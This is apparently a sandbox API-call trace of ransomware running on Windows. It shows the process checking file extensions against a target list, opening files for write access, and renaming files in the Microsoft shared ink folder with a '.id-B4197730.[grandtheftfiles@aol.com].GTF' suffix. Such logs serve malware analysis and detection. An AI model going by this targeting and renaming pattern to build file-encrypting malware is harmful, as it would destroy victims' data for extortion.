	[0070.935] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0070.935] lstrlenW (lpString=".ppt") returned 4
	[0070.935] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.935] lstrlenW (lpString=".zip") returned 4
	[0070.935] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.935] lstrlenW (lpString=".rar") returned 4
	[0070.935] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.935] lstrlenW (lpString=".bz2") returned 4
	[0070.935] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.935] lstrlenW (lpString=".7z") returned 3
	[0070.935] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.935] lstrlenW (lpString=".dbf") returned 4
	[0070.935] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.935] lstrlenW (lpString=".1cd") returned 4
	[0070.935] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.936] lstrlenW (lpString=".jpg") returned 4
	[0070.936] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.936] lstrlenW (lpString=".doc") returned 4
	[0070.936] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString=".docx") returned 5
	[0070.936] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0070.936] lstrlenW (lpString=".pdf") returned 4
	[0070.936] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString=".xls") returned 4
	[0070.936] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString=".xlsx") returned 5
	[0070.936] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0070.936] lstrlenW (lpString=".ppt") returned 4
	[0070.936] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.936] lstrlenW (lpString=".zip") returned 4
	[0070.936] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.936] lstrlenW (lpString=".rar") returned 4
	[0070.936] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString=".bz2") returned 4
	[0070.936] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString=".7z") returned 3
	[0070.936] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.936] lstrlenW (lpString=".dbf") returned 4
	[0070.936] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.936] lstrlenW (lpString=".1cd") returned 4
	[0070.936] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.936] lstrlenW (lpString=".jpg") returned 4
	[0070.936] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.937] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0070.937] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0070.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.938] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=111320) returned 1
	[0070.938] CloseHandle (hObject=0x33c) returned 1
	[0070.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0070.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.939] lstrlenW (lpString=".doc") returned 4
	[0070.939] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString=".docx") returned 5
	[0070.939] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0070.939] lstrlenW (lpString=".pdf") returned 4
	[0070.939] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString=".xls") returned 4
	[0070.939] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString=".xlsx") returned 5
	[0070.939] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0070.939] lstrlenW (lpString=".ppt") returned 4
	[0070.939] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.939] lstrlenW (lpString=".zip") returned 4
	[0070.939] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString=".rar") returned 4
	[0070.939] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString=".bz2") returned 4
	[0070.939] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString=".7z") returned 3
	[0070.939] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0070.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.939] lstrlenW (lpString=".dbf") returned 4
	[0070.939] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.939] lstrlenW (lpString=".1cd") returned 4
	[0070.939] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0070.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.939] lstrlenW (lpString=".jpg") returned 4
	[0070.939] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.939] lstrlenW (lpString=".doc") returned 4
	[0070.939] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0070.939] lstrlenW (lpString=".docx") returned 5
	[0070.939] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0070.939] lstrlenW (lpString=".pdf") returned 4
	[0070.940] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0070.940] lstrlenW (lpString=".xls") returned 4
	[0070.940] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0070.940] lstrlenW (lpString=".xlsx") returned 5
	[0070.940] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0070.940] lstrlenW (lpString=".ppt") returned 4
	[0070.940] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.940] lstrlenW (lpString=".zip") returned 4
	[0070.940] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0070.940] lstrlenW (lpString=".rar") returned 4
	[0070.940] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0070.940] lstrlenW (lpString=".bz2") returned 4
	[0070.940] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0070.940] lstrlenW (lpString=".7z") returned 3
	[0070.940] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.940] lstrlenW (lpString=".dbf") returned 4
	[0070.940] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.940] lstrlenW (lpString=".1cd") returned 4
	[0070.940] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0070.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0070.940] lstrlenW (lpString=".jpg") returned 4
	[0070.940] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0070.940] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0070.940] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0070.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.941] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=48936) returned 1
	[0070.941] CloseHandle (hObject=0x33c) returned 1
	[0070.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0070.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.941] lstrlenW (lpString=".doc") returned 4
	[0070.941] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0070.941] lstrlenW (lpString=".docx") returned 5
	[0070.941] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0070.941] lstrlenW (lpString=".pdf") returned 4
	[0070.941] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0070.941] lstrlenW (lpString=".xls") returned 4
	[0070.941] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0070.941] lstrlenW (lpString=".xlsx") returned 5
	[0070.941] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0070.941] lstrlenW (lpString=".ppt") returned 4
	[0070.941] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.942] lstrlenW (lpString=".zip") returned 4
	[0070.942] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString=".rar") returned 4
	[0070.942] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString=".bz2") returned 4
	[0070.942] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString=".7z") returned 3
	[0070.942] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0070.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.942] lstrlenW (lpString=".dbf") returned 4
	[0070.942] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.942] lstrlenW (lpString=".1cd") returned 4
	[0070.942] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0070.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.942] lstrlenW (lpString=".jpg") returned 4
	[0070.942] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.942] lstrlenW (lpString=".doc") returned 4
	[0070.942] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString=".docx") returned 5
	[0070.942] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0070.942] lstrlenW (lpString=".pdf") returned 4
	[0070.942] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString=".xls") returned 4
	[0070.942] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0070.942] lstrlenW (lpString=".xlsx") returned 5
	[0070.942] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0070.943] lstrlenW (lpString=".ppt") returned 4
	[0070.943] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0070.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.943] lstrlenW (lpString=".zip") returned 4
	[0070.943] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0070.943] lstrlenW (lpString=".rar") returned 4
	[0070.943] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0070.943] lstrlenW (lpString=".bz2") returned 4
	[0070.943] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0070.943] lstrlenW (lpString=".7z") returned 3
	[0070.943] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0070.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.943] lstrlenW (lpString=".dbf") returned 4
	[0070.943] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0070.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.943] lstrlenW (lpString=".1cd") returned 4
	[0070.943] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0070.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0070.943] lstrlenW (lpString=".jpg") returned 4
	[0070.943] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0070.943] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0070.943] lstrlenW (lpString="boxed-join.avi") returned 14
	[0070.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.945] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=46622) returned 1
	[0070.945] CloseHandle (hObject=0x33c) returned 1
	[0070.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0070.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.945] lstrlenW (lpString=".doc") returned 4
	[0070.945] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0070.945] lstrlenW (lpString=".docx") returned 5
	[0070.945] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0070.945] lstrlenW (lpString=".pdf") returned 4
	[0070.945] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0070.945] lstrlenW (lpString=".xls") returned 4
	[0070.945] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0070.945] lstrlenW (lpString=".xlsx") returned 5
	[0070.945] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0070.945] lstrlenW (lpString=".ppt") returned 4
	[0070.945] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0070.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.945] lstrlenW (lpString=".zip") returned 4
	[0070.945] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString=".rar") returned 4
	[0070.946] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString=".bz2") returned 4
	[0070.946] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString=".7z") returned 3
	[0070.946] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0070.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.946] lstrlenW (lpString=".dbf") returned 4
	[0070.946] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.946] lstrlenW (lpString=".1cd") returned 4
	[0070.946] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0070.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.946] lstrlenW (lpString=".jpg") returned 4
	[0070.946] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.946] lstrlenW (lpString=".doc") returned 4
	[0070.946] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString=".docx") returned 5
	[0070.946] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0070.946] lstrlenW (lpString=".pdf") returned 4
	[0070.946] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString=".xls") returned 4
	[0070.946] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString=".xlsx") returned 5
	[0070.946] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0070.946] lstrlenW (lpString=".ppt") returned 4
	[0070.946] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.946] lstrlenW (lpString=".zip") returned 4
	[0070.946] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString=".rar") returned 4
	[0070.946] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0070.946] lstrlenW (lpString=".bz2") returned 4
	[0070.946] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0070.947] lstrlenW (lpString=".7z") returned 3
	[0070.947] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0070.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.947] lstrlenW (lpString=".dbf") returned 4
	[0070.947] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0070.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.947] lstrlenW (lpString=".1cd") returned 4
	[0070.947] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0070.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0070.947] lstrlenW (lpString=".jpg") returned 4
	[0070.947] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0070.947] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0070.947] lstrlenW (lpString="boxed-split.avi") returned 15
	[0070.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.947] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=84190) returned 1
	[0070.947] CloseHandle (hObject=0x33c) returned 1
	[0070.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0070.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0070.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0070.948] lstrlenW (lpString=".doc") returned 4
	[0070.948] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0070.948] lstrlenW (lpString=".docx") returned 5
	[0070.948] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0070.948] lstrlenW (lpString=".pdf") returned 4
	[0070.948] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0070.948] lstrlenW (lpString=".xls") returned 4
	[0070.948] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0070.948] lstrlenW (lpString=".xlsx") returned 5
	[0070.948] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0070.948] lstrlenW (lpString=".ppt") returned 4
	[0070.948] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0070.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0070.948] lstrlenW (lpString=".zip") returned 4
	[0070.948] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0070.948] lstrlenW (lpString=".rar") returned 4
	[0070.948] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0070.948] lstrlenW (lpString=".bz2") returned 4
	[0070.948] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0070.948] lstrlenW (lpString=".7z") returned 3
	[0070.948] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0070.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0070.948] lstrlenW (lpString=".dbf") returned 4
	[0070.948] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0070.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0071.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0071.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0071.189] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
